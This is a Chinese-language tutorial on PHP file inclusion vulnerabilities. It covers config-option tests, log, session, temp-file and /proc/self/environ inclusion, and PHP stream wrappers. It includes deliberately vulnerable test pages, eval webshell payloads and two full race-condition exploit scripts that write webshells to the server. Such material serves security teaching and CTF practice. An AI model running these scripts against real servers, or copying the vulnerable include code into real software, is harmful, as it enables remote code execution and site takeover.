一篇文章帶你理解漏洞之 PHP 檔案包含漏洞
其實有想法寫一個系列總結各種漏洞的,但是苦於沒有充足的時間,只能先寫一部分,後期再統一拿出來進行總結,這部分就是 PHP 檔案包含的一些小總結。
0X02 最常見的兩個函式的形象解釋:
我們知道檔案包含最常見的是兩個函式 include() require()(這裡就不談他們的親戚 include_once() 和 require_once() 了)
在php 這個工廠裡,include() 是一個比較鬆散的員工,平時沒有活幹的時候他就閒著,從來不想著自己看有什麼活主動一點,於是只有當程式執行到 include() 的時候他才會執行,並且呢也因為他鬆散的天性,在出錯的時候他也只是報一個警告,並不會讓程式中斷
但是,有另一名員工 require() 他能力和include() 差不多,但是他這個人就非常的有上進心,工作認真負責,他一看到程式執行就立刻包含,不會像include() 一樣等別人催,並且 require() 還會在出錯的時候非常認真地報錯,並小心謹慎地阻止程式繼續執行
0X03 回顧allow_url_fopen & allow_url_include
之前玩PHP檔案包含的時候似乎沒有怎麼深入的試驗過這兩個選項的開啟對PHP檔案包含究竟有什麼影響,網上的大多數的資料也都是含糊其辭,反正我是沒找到比較統一的說法,可能我太菜了,於是我不想浪費時間,打算親自試一試。
1.PHP 檔案有哪幾種常見的函式?
include()/include_once()
require()/require_once()
file_get_contents()
readfile()
那麼這兩個選項的開啟與否是對這幾個函式的包含能力有什麼影響呢?我們下面做一個測試。
2.測試開始:
一、include()
測試程式碼:
<?php $file = $_GET['filename']; include($file); ?>
1.allow_url_fopen = Off | allow_url_include = Off
(1)普通方式包含本地檔案(正常)
(2)普通方式包含遠端檔案(不正常)
(3)偽協議方式包含檔案(不正常)
2.allow_url_fopen = Off | allow_url_include = On
(1)普通方式包含本地檔案(正常)
(2)普通方式包含遠端檔案(不正常)
(3)偽協議方式包含檔案(正常)
3.allow_url_fopen = On | allow_url_include = Off
(1)普通方式包含本地檔案(正常)
(2)普通方式包含遠端檔案(不正常)
(3)偽協議方式包含檔案(不正常)
4.allow_url_fopen = On | allow_url_include = On
(1)普通方式包含本地檔案(正常)
(2)普通方式包含遠端檔案(正常)
(3)偽協議方式包含檔案(正常)
結論:
對include():
allow_url_include 的開啟對能否使用 偽協議 php://input data:// 的形式起著 決定作用 ,其他為協議似乎沒有影響
allow_url_fopen單獨開啟沒有實質作用,但是和 allow_url_include 結合就能實現遠端包含
二、require()
測試程式碼:
<?php $file = $_GET['filename']; require($file); ?>
經測試,require() 和 include() 是一樣的結果
三、readfile()
測試程式碼:
<?php $file = $_GET['filename']; echoreadfile($file); ?>
1.allow_url_fopen = Off | allow_url_include = Off
(1)普通方式包含本地檔案(正常–>原始碼中出現但不解析)
(2)普通方式包含遠端檔案(不正常–>報錯)
(3)偽協議方式包含檔案(不正常 –>原始碼中不出現)
2.allow_url_fopen = Off | allow_url_include = On
(1)普通方式包含本地檔案(正常–>原始碼出現但是不解析)
(2)普通方式包含遠端檔案(不正常–>報錯)
(3)偽協議方式包含檔案(正常–>原始碼中出現但不解析)
3.allow_url_fopen = On | allow_url_include = Off
(1)普通方式包含本地檔案(正常–>原始碼出現但不解析)
(2)普通方式包含遠端檔案(正常–>直接解析)
(3)偽協議方式包含檔案(正常–>原始碼中出現但不解析)
4.allow_url_fopen = On | allow_url_include = On
(1)普通方式包含本地檔案(正常–>原始碼出現但不解析)
(2)普通方式包含遠端檔案(正常–>直接解析)
(3)偽協議方式包含檔案(正常–>原始碼出現但不解析)
結論:
對readfile():
allow_url_include 對其沒有任何影響
allow_url_fopen 能讓其包含遠端檔案
三、file_get_contents()
測試程式碼:
<?php $file = $_GET['filename']; echofile_get_contents($file); ?>
1.allow_url_fopen = Off | allow_url_include = Off
(1)普通方式包含本地檔案(正常–>原始碼出現但不解析)
(2)普通方式包含遠端檔案(不正常–>報錯)
(3)偽協議方式包含檔案(正常–>原始碼出現但不解析)
2.allow_url_fopen = Off | allow_url_include = On
(1)普通方式包含本地檔案(正常–>原始碼出現但不解析)
(2)普通方式包含遠端檔案(不正常–>報錯)
(3)偽協議方式包含檔案(正常–>原始碼出現但不解析)
3.allow_url_fopen = On | allow_url_include = Off
(1)普通方式包含本地檔案(正常–>原始碼出現但不解析)
(2)普通方式包含遠端檔案(正常–>直接解析)
(3)偽協議方式包含檔案(正常–>原始碼出現但不解析)
4.allow_url_fopen = On | allow_url_include = On
(1)普通方式包含本地檔案(正常–>原始碼出現但不解析)
(2)普通方式包含遠端檔案(正常–>直接解析)
(3)偽協議方式包含檔案(正常–>原始碼出現但不解析)
結論:
對 file_get_contents()
allow_url_include 對其沒有任何影響
allow_url_fopen 能讓其包含遠端檔案
0X04 檔案包含的分類以及利用方式:
一、遠端檔案包含:
1.基本概念
遠端檔案包含一般需要 allow_url_fopen 和 allow_url_include 全部開啟,其主要利用就是包含遠端伺服器上面的惡意程式碼,讓其在目標主機上執行,這樣我們就能得到一個假的webshell(這個shell 是基於伺服器上本身存在的檔案的),有了這個假的shell 我們實際上就能進行操作了, 但是如果你有強迫症 ,非要一個自己寫的完整的 shell 放在伺服器上,我們可以有兩種方法:
(1)方法一:
我們包含的檔案並不是一句話,而是使用
file_put_contents("路徑","內容");
向 web 目錄(一般網站的web 目錄都是可寫的)寫入一個 真shell,然後我們去連,這也是在我們遇到檔案飛快刪除的一個解決方法(條件競爭中或者是AWD中經常用)
(2)方法二:
利用這個假shell 的小馬,上傳另一個小馬(我覺得沒有必要),或者上傳一個大馬上去
2.常見利用
既然是包含遠端檔案,那我們是不是要用到協議,除了常見的 http:// https:// php 還給我們提供了常見的可以用來包含的協議,比如說 ftp:// data://
我就用 data 給大家演示一下
data://
其實不僅僅是 PHP 連瀏覽器都支援 data: 協議
格式:
data:資源型別;編碼,內容
簡單來說,要生成一個html資源,可以這樣:
data:text/html;ascii,<html><title>hello</title><body>world</body></html>
這裡我直接給出 payload:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
其中 base64 部分就是 <?php phpinfo();
如圖所示:
二、本地檔案包含:
本地檔案包含是在遠端檔案包含不能使用的情況下的選擇,我們包含的物件主要是敏感檔案,以及我們可控內容的檔案,以下是常見的可以包含的檔案:
1.日誌
日誌檔案汙染是通過將注入目標系統的程式碼寫入到日誌檔案中。通常,訪問目標系統上的某些對外開放的服務時,系統會自動將訪問記錄寫入到日誌檔案中,利用這個機制,有可能會將程式碼寫入到日誌中。例如,利用一個包含PHP反彈shell的URL訪問目標系統時,目標系統會返回一個404頁面,並將建立一個apache的訪問記錄,記錄中會包含之前的PHP反彈shell。利用之前已經發現的檔案包含漏洞,可以解析apache的日誌檔案,從而執行日誌中的PHP反彈shell。
日誌檔案的位置的確定就要前期的資訊收集,一方面確定預設的日誌的位置,另一方面可以利用這個包含漏洞包含一些配置檔案尋找日誌的位置
測試程式碼:
<?php if(array_key_exists("rf", $_GET)){ $page = $_GET['rf']; if($page != ''){ include($page); } } else{ echo '<script>window.location.href = "./incfile.php?rf="</script>'; } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> </head> <body> <center> <h2>測試頁: rf=include($input);</h2> <h3>----測試完畢後請立即刪除----</h3> </center> </body> </html>
首先我們截獲資料包,在傳入引數的地方輸入
<?php phpinfo();?>
如圖所示:
之後我們就會在access.log 中看到我們的請求
如圖所示:
嘗試包含
如圖所示:
可以看到我們成功的包含了日誌檔案
注意:
(1)除了我們包含 access.log 以外,我們還可以製造錯誤,然後包含 error.log
(2)如果出現包含不成功的情況,很有可能就是被 open_base_dir() 限制了
(3)實戰中最好在凌晨的時候進行包含,要不然日誌太大包含會失敗
(4)除了 apache 和 nginx 的日誌 還有很多其他的日誌我們能利用,比如說 ssh 的日誌
2.SESSION
原理分析
使用了session來儲存使用者會話,php手冊中是這樣描述的:
1.PHP 會將會話中的資料設定到 $_SESSION
變數中。
2. 當 PHP 停止的時候 ,它會自動讀取 $_SESSION 中的內容,並將其進行序列化,然後傳送給會話儲存管理器來進行儲存。
3.對於檔案會話儲存管理器,會將會話資料儲存到配置項 session.save_path 所指定的位置。
php的session檔案的儲存路徑可以在phpinfo()的session.save_path看到,
如圖所示:
補充:
常見的php-session存放位置:
/var/lib/php/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
我們來親自做一個小實驗吧
首先我們使用 php 中的建立 session 的函式寫一段小程式碼
示例程式碼:
<?php //啟動session的初始化 session_start(); //註冊session變數,賦值為一個使用者的名稱 $_SESSION["username"]="K0rz3n"; ?>
然後訪問這個頁面後,我們去 phpinfo 中告訴我們的位置找一下這個檔案
如圖所示:
再看一下我們的 cookie 中的 PHPSESSID
如圖所示:
是不是和檔名中的一部分完全一樣? 再次驗證了session 檔案的命名規則是 sess_[PHPSESSID]
session 裡面的內容是什麼呢
如圖所示:
我們清楚地看到,session 檔案中的內容正是文件中所說的是一個序列化過的內容
實戰一:PhpMyadmin 4.8.1 後臺 getshell
所以我們如果想包含 session 檔案,要求還是比較的苛刻,我們必須要能控制 session 的輸入,但是最近我發現了一個很好的例項 PhpMyadmin 4.8.1 後臺 getshell ,其中有一種巧妙的利用方式就是利用包含我們訪問 phpmyadmin 的 session 檔案
我們只要在 phpmyadmin 中執行如下語句
select "<?php phpinfo();?>";
如圖所示:
然後我們去找那個 session 檔案
如圖所示:
哈哈,接下來就是我們檔案包含漏洞大顯申通的時候了
實戰二:利用 session.upload_progress getshell
在我們的利用面涉及到兩個重要的選項, session_upload_progress.enable 和 session_upload_progress.cleanu p 而這兩個選項 php 官方是預設開啟的,並且強烈推薦我們開啟
如圖所示:
我們迴歸正題,先解釋一下這個上傳進度的概念
1.先來了解一下什麼是 session.upload_progress
session.upload_progress 是PHP5.4的新特徵
官方文件的介紹如下:
2.我們用例項程式碼解釋一下上傳進度
POST 的表單
tt.php
<html> <head></head> <body> <form action="./upload.php" method="post" enctype="multipart/form-data"> <input type="hidden" name=<?php echo ini_get('session.upload_progress.name');?> value="123" /> <input type="file" name="file1" value = ""/> <input type="file" name="file2" value = ""/> <input type="submit" name = "submit" value = "upload"/> </form> </body> </html>
我們看到,這個 POST 表單通過 ini_get(“session.upload_progress.name”) 在 hidden POST 了一個和 php.ini 中 session.upload_progress.name 名字一樣的資料,值為123
如果我們能通過瘋狂發包,使得這個 hidden 的 POST 資料能在檔案傳輸沒有完成的時候被伺服器接收到,那麼伺服器就會在 session 臨時檔案中儲存 這個檔案的上傳進度(當然是以序列化的形式顯示的)
為了能清楚地展示這個 session ,我假設我們的 upload.php 中存在下面的語句, $_SESSION
的值就能輸出來
$key = ini_get("session.upload_progress.prefix") . $_POST[ini_get("session.upload_progress.name")]; echo $_SESSION[$key];
於是我們得到了類似這樣的 $_SESSION 資料
<?php $_SESSION["upload_progress_123"] = array( "start_time" => 1234567890,// The request time "content_length" => 57343257, // POST content length "bytes_processed" => 453489,// Amount of bytes received and processed "done" => false,// true when the POST handler has finished, successfully or not "files" => array( 0 => array( "field_name" => "file1",// Name of the <input/> field // The following 3 elements equals those in $_FILES "name" => "foo.avi", "tmp_name" => "/tmp/phpxxxxxx", "error" => 0, "done" => true,// True when the POST handler has finished handling this file "start_time" => 1234567890,// When this file has started to be processed "bytes_processed" => 57343250, // Amount of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ) );
可以看到我們的 123 赫然出現在 session 的陣列中,那麼如果我們 POST 的值不是 123 而是 <?php file_put_contents("xx","<?php eval(@$_POST['cmd']);?>")?>
呢,是不是我們就能通過包含這個session 檔案達到寫shell 的目的了呢?
但是還存在一個問題,當 session.upload_progress.cleanup為 On 的時候, $_SESSION
中的這個上傳進度資訊會在讀取完全部的 POST 資料後立刻刪除(刪除的是 session 檔案中的上傳進度的部分內容,而不是session ),於是乎這個時候就需要條件競爭
如圖所示:
我們從 PHPSESSID 中得到我們的 session 名以後,我們就一邊瘋狂請求 upload 頁面 一邊瘋狂包含我們的 session 檔案就好了
這裡給出一個 可用的 POC
#!coding:utf-8 import requests import time import threading host = 'http://localhost' PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt' def creatSession(): while True: files = { "submit" : ("tmp.gif", open("E:/fuck.gif", "rb")) } data = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php echo 'K0rz3n';file_put_contents('F:/muma.php','<?php phpinfo();?>');?>" } headers = {'Cookie':'PHPSESSID=' + PHPSESSID} r = requests.post(host+'/index.php',files = files,headers = headers,data=data) fileName = "E:/phpstudy/PHPTutorial/tmp/tmp/sess_"+PHPSESSID if __name__ == '__main__': url = "{}/qweasdzxc.php?rf={}".format(host,fileName) headers = {'Cookie':'PHPSESSID=' + PHPSESSID} t = threading.Thread(target=creatSession,args=()) t.setDaemon(True) t.start() while True: res = requests.get(url,headers=headers) if "K0rz3n" in res.content: print res.content print("[*] Get shell success.") break else: print("[-] retry.")
對於這個 POC 我在本地也做了測試,下面是我的測試過程
其中,我為了演示的效果還把 session 檔案在那一瞬間的內容給大家顯示出來了,就是下面這段內容
upload_progress_K0rz3n|a:5:{s:10:"start_time";i:1540314711;s:14:"content_length";i:764161;s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"submit";s:4:"name";s:7:"tmp.gif";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540314711;s:15:"bytes_processed";i:5302;}}}
注意:這裡有一個誤區
發現,如果我們的 POST 請求中帶著 session.upload_progress.name 的值,不管服務端PHP有沒有
session_start() 的呼叫, 只要我們在請求頭中填上 PHPSESSID(符合格式,隨便你怎麼寫),伺服器就會根據我們這個
PHPSESSID 在session 檔案的預設存放位置生成一個 session 檔案,這個方法也是 hitcon 2018 Orange 提醒我們的
3.實際的案例
1.N1CTF 2018 easy_php
ofollow,noindex">http://skysec.top/2018/04/04/amazing-phpinfo/
這道題的覆盤在 https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php
2.SCTF 2018 BabySyc - Simple PHP
3.hitcon 2018 one line php challenge
http://wonderkun.cc/index.html/?p=718
https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge3.資料庫檔案
我們知道,我們的資料庫就是從純檔案的管理方式中進化而來,但是,計算機中儲存的依然是檔案,那麼我們能不能在資料庫中動動手腳,向資料庫中的某個檔案注入我們的惡意程式碼然後本地檔案包含呢?當然可以,在 phpmyadmin 4.8.1 後臺 getshell 中漏洞的發現者就是利用了這樣一種技術成功包含了資料庫的檔案
如果我們有建立表的許可權,我們完全可以將表的某個欄位寫成一個一句話,然後我們找到這個表對應的檔案包含之
如圖所示:
我們知道資料庫的一起都是以檔案的形式存在的,我們來找一下這個檔案
如圖所示:
4.臨時檔案
向伺服器上 任意php檔案 以 form-data 方式提交請求上傳資料時,會生成臨時檔案,通過 phpinfo 來獲取臨時檔案的路徑以及名稱,然後臨時檔案在極短時間被刪除的時候,需要條件競爭包含臨時檔案,然後如果臨時檔案的內容是一個向 web 目錄寫一句話,我們就能成功執行這段程式碼,並寫 shell 到 web 目錄最終拿到webshell(臨時檔案的檔名和位置需要在phpinfo 頁面中檢視)
下圖為 PHP 處理臨時檔案的整個過程:
比如說我 post 這樣一個表單
<!doctype html> <html> <body> <form action="http://localhost/testphpinfo/phpinfo.php" method="POST" enctype="multipart/form-data"> <input type="file" name="file"/><br/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
那麼在 phpinfo 中就能發現下面的一項
$_FILES["file"] Array ( [name] => test.txt [type] => application/octet-stream [tmp_name] => H:\wamp64\tmp\php1E81.tmp [error] => 0 [size] => 201 )
下面引用 p總 在 vulhub 中的詳細介紹:
https://github.com/vulhub/vulhub/tree/master/php/inclusion
在給PHP傳送POST資料包時,如果資料包裡包含檔案區塊,無論你訪問的程式碼中有沒有處理檔案上傳的邏輯,PHP都會將這個檔案儲存成一個臨時檔案(通常是/tmp/php[6個隨機字元]),檔名可以在 $_FILES
變數中找到。這個臨時檔案,在請求結束後就會被刪除。
同時,因為phpinfo頁面會將當前請求上下文中所有變數都打印出來,所以我們如果向phpinfo頁面傳送包含檔案區塊的資料包,則即可在返回包裡找到$_FILES變數的內容,自然也包含臨時檔名。
在檔案包含漏洞找不到可利用的檔案時,即可利用這個方法,找到臨時檔名,然後包含之。
但檔案包含漏洞和phpinfo頁面通常是兩個頁面,理論上我們需要先發送資料包給phpinfo頁面,然後從返回頁面中匹配出臨時檔名,再將這個檔名傳送給檔案包含漏洞頁面,進行getshell。在第一個請求結束時,臨時檔案就被刪除了,第二個請求自然也就無法進行包含。
這個時候就需要用到條件競爭,具體流程如下:
傳送包含了webshell的上傳資料包給phpinfo頁面,這個資料包的header、get等位置需要塞滿垃圾資料
因為phpinfo頁面會將所有資料都打印出來,1中的垃圾資料會將整個phpinfo頁面撐得非常大
php預設的輸出緩衝區大小為4096,可以理解為php每次返回4096個位元組給socket連線
所以,我們直接操作原生socket,每次讀取4096個位元組。只要讀取到的字元裡包含臨時檔名,就立即傳送第二個資料包
此時,第一個資料包的socket連線實際上還沒結束,因為php還在繼續每次輸出4096個位元組,所以臨時檔案此時還沒有刪除
利用這個時間差,第二個資料包,也就是檔案包含漏洞的利用,即可成功包含臨時檔案,最終getshell
下面是p 總的利用指令碼,其中的有些地方我給出了簡單的註釋,方便大家理解
#!/usr/bin/python import sys import threading import socket def setup(host, port):#所有的請求的內容 TAG="Security Test" PAYLOAD="""%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq)#向phpinfo 發起請求 d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ")#從偏移量中找關鍵字 fn = d[i+17:i+31] #得到臨時檔名(這個切片和系統有關,我在windows 下測試使用的是 d[i+17:i+39]) except ValueError: return None s2.send(lfireq % (fn, host))#發起LFI請求 d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1:#找頁面返回中我們之前設下的標誌 TAG return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock =l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096)#迴圈接受4096位元組直到接收完畢 d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i)#進行試探得到檔名的偏移量 # padded up a bit return i+256#為提高準確性擴大了範圍 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot!\m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
這樣的利用方式實際上在 2001 年國外的安全研究人員就發現了,只不過因為條件苛刻很少用到
下面是我用這個指令碼測試的例子
下面是兩個實際的例子
1.NU1L CTF 2018
2.鏈家旗下自如某站一個有意思的檔案包含到簡單內網滲透
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0134185.html
補充:思考關於臨時檔案的含義
這個包含臨時檔案的思想不要僅僅侷限於 php
自己產生的臨時檔案,其他服務也可能會有可控的臨時檔案,這個時候我們也可以選擇包含這些臨時檔案,就比如我之前這篇文章說過的 上傳的 jar ,我們一樣也可以包含,於是我在 LCTF 2018 出了這一道題,具體細節可以看我的這篇文章
5./proc/self/environ
通過本地檔案包含漏洞,檢視是否可以包含/proc/self/environ檔案。然後 向User-Agent頭中注入 PHP程式碼有可能會攻擊成功。如果程式碼被成功注入到User-Agent頭中,本地檔案包含漏洞會利用並執行/proc/self/environ,這樣就能得到你的shell
這裡我說一下這個 self ,這個 self 不要以為就是 self 資料夾,實際上子目錄/proc/self本身就是當前執行程序 PID,你會發現你每次請求得到的 self 都是不同的
如圖一:
如圖二:
從 Linux 內部去看的話,就是一堆數字命名的資料夾,還能看到有些是屬於 root 的有些是屬於 apache 的
如圖所示:
從上面的部分圖你也能看到另一個問題,就是這個檔案的讀取需要一定的許可權,至少 php 預設情況下是沒法讀取的,我們看一下這個檔案的讀取許可權
如圖所示:
我還能說什麼,只有檔案所有者可讀,且僅僅是可讀,這就不是很好辦了,就拿網上的例子說一下吧,這裡僅僅提供一個思路,遇到能包含的情況隨機應變
如果能成功包含,那麼你可能會看到下面這樣的結果:
DOCUMENT_ROOT=/home/dprdicom/public_html/smscenterGATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8HTTP_ACCEPT_ENCODING=gzip, deflateHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5HTTP_CONNECTION=keep-aliveHTTP_HOST=smscenter.dprdbekasikota.go.idHTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0PATH=/bin:/usr/binPHPRC=/usr/local/lib/QUERY_STRING=page=../../../../proc/self/environREDIRECT_STATUS=200REMOTE_ADDR=182.68.251.152REMOTE_PORT=21007REQUEST_METHOD=GETREQUEST_URI=/?page=../../../../proc/self/environSCRIPT_FILENAME=/home/dprdicom/public_html/smscenter/index.phpSCRIPT_NAME=/index.phpSERVER_ADDR=103.28.12.130SERVER_ADMIN= _NAME=smscenter.dprdbekasikota.go.idSERVER_PORT=80SERVER_PROTOCOL=HTTP/1.1SERVER_
注意這一段:
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0
找到了可控目標接下來就是在 UA 中注入我們的惡意程式碼,
如圖所示:
然後就包含啦
4.包含上傳的檔案
有上傳點是最好的了,上傳的內容可以是任意的字尾名,不影響最終的結果。
這裡有一些使用 NTFS ADS 檔案流繞過檢測的方法,值得大家參考
在測試中我們發現,如果上傳的檔名字為:test.php::$DATA,會在伺服器上生成一個test.php的檔案,其中內容和所上傳檔案內容相同,並被解析。假設我們需要上傳的檔案內容為:<?php phpinfo();?>下面是上傳是會出現的現象:
上傳 Test.php:a.jpg生成Test.php檔案內容為空 上傳 Test.php::$DATA生成test.php檔案內容為<?php phpinfo();?> 上傳 Test.php::$INDEX_ALLOCATION生成test.php資料夾 上傳 Test.php::$DATA\0.jpg生成0.jpg檔案內容為<?php phpinfo();?> 上傳 Test.php::$DATA\aaa.jpg生成aaa.jpg檔案內容為<?php phpinfo();?> PS: 上傳test.php:a.jpg的時候其實是在伺服器上正常生成了一個數據流檔案,可以通過notepad test.php:a.jpg檢視內容,而test.php為空也是正常的。
5.配置檔案過濾不當
有些時候配置資訊是直接寫在伺服器端的檔案中的,如果我們能夠繞過這就是一個 webshell
這個也只是一個思路,只要是使用者可控的內容往伺服器上寫,就存在包含的可能
6.php 偽協議包含
這個就可以說是利用 php 的特性了,當然部分偽協議,比如 php://input 你要用還是需要 allow_url_include 開啟, data:// 更是需要 php_url_fopen 和 php_uri_include 都開啟 (由於 data://輸入遠端檔案包含的範疇,於是我在前面的部分已經提及了)
1.php://input
php://input 是個可以訪問請求的原始資料的只讀流(這個原始資料指的是POST資料)
如圖所示:
當然了,我們也能利用這個來執行命令,上傳我們的一句話,直接 getshell,上菜刀
http://localhost/qweasdzxc.php?rf=php://input
POST :
<?php eval($_POST['cmd']);?>&cmd
如圖所示:
3.phar://
這個協議是仿照 Java 中的打包協議 Jar 弄出來的,他的特點就是能將任意字尾名的壓縮包解包,得到裡面指定的內容,這個方法在繞過後綴名限定的包含中非常好用
包含方法:
phar://aaa.bbb/shell.php
具體可看: http://www.91ri.org/13363.html
拓展知識:
使用 phar:// 擴充套件 php 反序列化攻擊面
連結:
4.php://filter:
這個是一個過濾器,裡面的過濾方法很多,我們如果不想執行被包含的程式碼,我們就可以使用base64 編碼輸出,通常用來讀取原始碼
php://filter 目標使用以下的引數作為它路徑的一部分。 複合過濾鏈能夠在一個路徑上指定
resource=<要過濾的資料流>這個引數是必須的,且必須位於 php://filter 的末尾,並且指向需要過濾篩選的資料流。 read=<讀鏈的篩選列表>該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。 write=<寫鏈的篩選列表>該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。 <;兩個鏈的篩選列表>任何沒有以 read= 或 write= 作字首 的篩選器列表會視情況應用於讀或寫鏈。
舉兩個最簡單的例子:
示例一:使用 php://filter/read=xxxx/resource=
測試程式碼:
<?php if(array_key_exists("rf", $_GET)){ $page = $_GET['rf']; if($page != ''){ include($page); } } else{ echo '<script>window.location.href = "./qweasdzxc.php?rf="</script>'; } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> </head> <body> <center> <h2>test page: rf=file_get_contents($input);</h2> <h3>----delete this page when the test has finished----</h3> </center> </body> </html>
實驗截圖:
注意點:
(1)記住一旦使用了 read 選項,我們就值關心資料流的來源,這裡的資料流的來源就是 resource
傳入的,至於經過過濾器以後這個資料流要去哪裡,這不是我們這個處理能決定的,還要依賴外部的函式
(2)我們的過濾是按照過濾器從左到右的順序進行的,不要錯誤地認為是從右到左
示例二:使用 php://filter/write=xxxx/resource=
測試程式碼:
<?php if(array_key_exists("rf", $_GET)){ $page = $_GET['rf']; if($page != ''){ file_put_contents($page,"hello world"); } } else{ echo '<script>window.location.href = "./qweasdzxc.php?rf="</script>'; } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> </head> <body> <center> <h2>test page: rf=file_get_contents($input);</h2> <h3>----delete this page when the test has finished----</h3> </center> </body> </html>
實驗截圖:
注意點:
(1)一旦使用了 write 選項,我們就只關係資料的輸出,資料的輸出就是我們指定的 resource
的檔案,而資料的輸入要靠外部的函式幫我們實現
(2)我們的過濾是按照過濾器從左到右的順序進行的,不要錯誤地認為是從右到左
P 總在 2016 年講過一個知識點 利用 php://filter bypass 死亡 exit 的方法,文章連結如下,我就不詳細分析了
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
但是這個方法的升級版也在 hitcon CTF 2018 One-line-php-challenge 中出現,這個方法是 Orange 的預期解法,可以看下面這個連結:
http://wonderkun.cc/index.html/?p=718
那麼有哪些過濾器呢?
過濾器有很多種,有字串過濾器、轉換過濾器、壓縮過濾器、加密過濾器
(1)字串過濾器
string.rot13進行rot13轉換 string.toupper將字元全部大寫 string.tolower將字元全部小寫 string.strip_tags 去除空字元、HTML 和 PHP 標記後的結果
(2)轉換過濾器
convert.base64-encodebase64 編碼 convert.base64-decodebase64 解碼 convert.quoted-printable-encodequoted-printable 編碼(也是另一種將二進位制進行編碼的方案) convert.quoted-printable-decodequoted-printable 解碼 convert.iconv 實現任意兩種編碼之間的轉換
(3)壓縮過濾器
zlib.deflate 壓縮過濾器 zlib.inflate 解壓過濾器 bzip2.compress 壓縮過濾器 bzip2.decompress 解壓過濾器
(4)加密過濾器
mcrypt.*加密過濾器 mdecrypt.* 解密過濾器
一些例項:
readfile(“php://filter/resource= http://www.example.com “);
readfile(“php://filter/read=string.toupper/resource= http://www.example.com “);
readfile(“php://filter/read=string.toupper|string.rot13/resource= http://www.example.com “);
